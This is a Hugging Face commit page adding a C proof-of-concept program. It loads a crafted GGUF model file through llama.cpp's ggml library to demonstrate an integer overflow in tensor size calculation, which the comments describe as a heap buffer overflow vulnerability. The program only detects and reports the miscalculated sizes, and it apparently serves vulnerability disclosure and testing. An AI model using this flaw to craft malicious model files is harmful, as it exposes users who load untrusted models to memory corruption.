Upload test_tensor_overflow.c with huggingface_hub
Browse files- test_tensor_overflow.c +113 -0
test_tensor_overflow.c
ADDED
|
@@ -0,0 +1,113 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
/*
|
| 2 |
+
* Test program to demonstrate integer overflow in tensor size calculation.
|
| 3 |
+
* Loads a malicious GGUF file and shows that ggml_nbytes() returns
|
| 4 |
+
* an incorrect (too small) value due to integer overflow in ggml_row_size().
|
| 5 |
+
*
|
| 6 |
+
* Compile:
|
| 7 |
+
* cc -o test_tensor_overflow test_tensor_overflow.c \
|
| 8 |
+
* -I ../llama.cpp/ggml/include -I ../llama.cpp/ggml/src \
|
| 9 |
+
* -L ../llama.cpp/build/bin -lggml-base -lggml \
|
| 10 |
+
* -Wl,-rpath,../llama.cpp/build/bin
|
| 11 |
+
*
|
| 12 |
+
* Run:
|
| 13 |
+
* ./test_tensor_overflow poc_tensor_overflow.gguf
|
| 14 |
+
*/
|
| 15 |
+
|
| 16 |
+
#include <stdio.h>
|
| 17 |
+
#include <stdlib.h>
|
| 18 |
+
#include <stdint.h>
|
| 19 |
+
#include <inttypes.h>
|
| 20 |
+
#include "ggml.h"
|
| 21 |
+
#include "gguf.h"
|
| 22 |
+
|
| 23 |
+
int main(int argc, char **argv) {
|
| 24 |
+
if (argc < 2) {
|
| 25 |
+
fprintf(stderr, "Usage: %s <gguf_file>\n", argv[0]);
|
| 26 |
+
return 1;
|
| 27 |
+
}
|
| 28 |
+
|
| 29 |
+
const char *fname = argv[1];
|
| 30 |
+
printf("=== Tensor Integer Overflow PoC ===\n");
|
| 31 |
+
printf("Loading: %s\n\n", fname);
|
| 32 |
+
|
| 33 |
+
struct ggml_context *ctx = NULL;
|
| 34 |
+
struct gguf_init_params params = {
|
| 35 |
+
.no_alloc = true,
|
| 36 |
+
.ctx = &ctx,
|
| 37 |
+
};
|
| 38 |
+
|
| 39 |
+
struct gguf_context *gctx = gguf_init_from_file(fname, params);
|
| 40 |
+
if (!gctx) {
|
| 41 |
+
fprintf(stderr, "ERROR: gguf_init_from_file failed!\n");
|
| 42 |
+
return 1;
|
| 43 |
+
}
|
| 44 |
+
|
| 45 |
+
printf("[+] GGUF file loaded successfully (all validation passed!)\n\n");
|
| 46 |
+
|
| 47 |
+
int n_tensors = gguf_get_n_tensors(gctx);
|
| 48 |
+
printf("Number of tensors: %d\n\n", n_tensors);
|
| 49 |
+
|
| 50 |
+
// Iterate over tensors and show the overflow
|
| 51 |
+
struct ggml_tensor *tensor = ggml_get_first_tensor(ctx);
|
| 52 |
+
while (tensor) {
|
| 53 |
+
printf("Tensor: '%s'\n", tensor->name);
|
| 54 |
+
printf(" Type: %s (type_size=%zu, blck_size=%" PRId64 ")\n",
|
| 55 |
+
ggml_type_name(tensor->type),
|
| 56 |
+
ggml_type_size(tensor->type),
|
| 57 |
+
ggml_blck_size(tensor->type));
|
| 58 |
+
printf(" Dimensions: ne[0]=%" PRId64 ", ne[1]=%" PRId64
|
| 59 |
+
", ne[2]=%" PRId64 ", ne[3]=%" PRId64 "\n",
|
| 60 |
+
tensor->ne[0], tensor->ne[1], tensor->ne[2], tensor->ne[3]);
|
| 61 |
+
printf(" Strides: nb[0]=%zu, nb[1]=%zu, nb[2]=%zu, nb[3]=%zu\n",
|
| 62 |
+
tensor->nb[0], tensor->nb[1], tensor->nb[2], tensor->nb[3]);
|
| 63 |
+
|
| 64 |
+
size_t nbytes = ggml_nbytes(tensor);
|
| 65 |
+
int64_t nelements = ggml_nelements(tensor);
|
| 66 |
+
|
| 67 |
+
// Compute what the correct size should be
|
| 68 |
+
// For Q4_0: correct = type_size * nelements / blck_size = 18 * ne[0] / 32
|
| 69 |
+
size_t type_size = ggml_type_size(tensor->type);
|
| 70 |
+
int64_t blck_size = ggml_blck_size(tensor->type);
|
| 71 |
+
// Use Python-style big number arithmetic to show correct value
|
| 72 |
+
// correct_nbytes = nelements * type_size / blck_size
|
| 73 |
+
// But we can't compute this without overflow in C, so just show the values
|
| 74 |
+
|
| 75 |
+
printf(" ggml_nbytes(): %zu bytes\n", nbytes);
|
| 76 |
+
printf(" ggml_nelements(): %" PRId64 "\n", nelements);
|
| 77 |
+
printf(" ggml_row_size(): %zu bytes\n", ggml_row_size(tensor->type, tensor->ne[0]));
|
| 78 |
+
|
| 79 |
+
// Show the overflow
|
| 80 |
+
size_t row_size = ggml_row_size(tensor->type, tensor->ne[0]);
|
| 81 |
+
printf("\n === OVERFLOW DETECTION ===\n");
|
| 82 |
+
printf(" ggml_row_size = type_size * ne[0] / blck_size\n");
|
| 83 |
+
printf(" = %zu * %" PRId64 " / %" PRId64 "\n",
|
| 84 |
+
type_size, tensor->ne[0], blck_size);
|
| 85 |
+
printf(" Computed result: %zu bytes\n", row_size);
|
| 86 |
+
|
| 87 |
+
// Check for overflow: if type_size * ne[0] / blck_size != row_size
|
| 88 |
+
// then overflow occurred
|
| 89 |
+
// We can detect this by checking: row_size * blck_size / type_size != ne[0]
|
| 90 |
+
if (type_size > 0 && blck_size > 0) {
|
| 91 |
+
int64_t reconstructed = (int64_t)(row_size * blck_size / type_size);
|
| 92 |
+
if (reconstructed != tensor->ne[0]) {
|
| 93 |
+
printf(" *** INTEGER OVERFLOW DETECTED! ***\n");
|
| 94 |
+
printf(" Reconstructed ne[0] from row_size: %" PRId64 "\n", reconstructed);
|
| 95 |
+
printf(" Actual ne[0]: %" PRId64 "\n", tensor->ne[0]);
|
| 96 |
+
printf(" The buffer would be %zu bytes but tensor claims %" PRId64 " elements!\n",
|
| 97 |
+
nbytes, nelements);
|
| 98 |
+
printf(" This is a HEAP BUFFER OVERFLOW vulnerability!\n");
|
| 99 |
+
} else {
|
| 100 |
+
printf(" No overflow detected for this tensor.\n");
|
| 101 |
+
}
|
| 102 |
+
}
|
| 103 |
+
|
| 104 |
+
printf("\n");
|
| 105 |
+
tensor = ggml_get_next_tensor(ctx, tensor);
|
| 106 |
+
}
|
| 107 |
+
|
| 108 |
+
ggml_free(ctx);
|
| 109 |
+
gguf_free(gctx);
|
| 110 |
+
|
| 111 |
+
printf("[+] Test complete.\n");
|
| 112 |
+
return 0;
|
| 113 |
+
}
|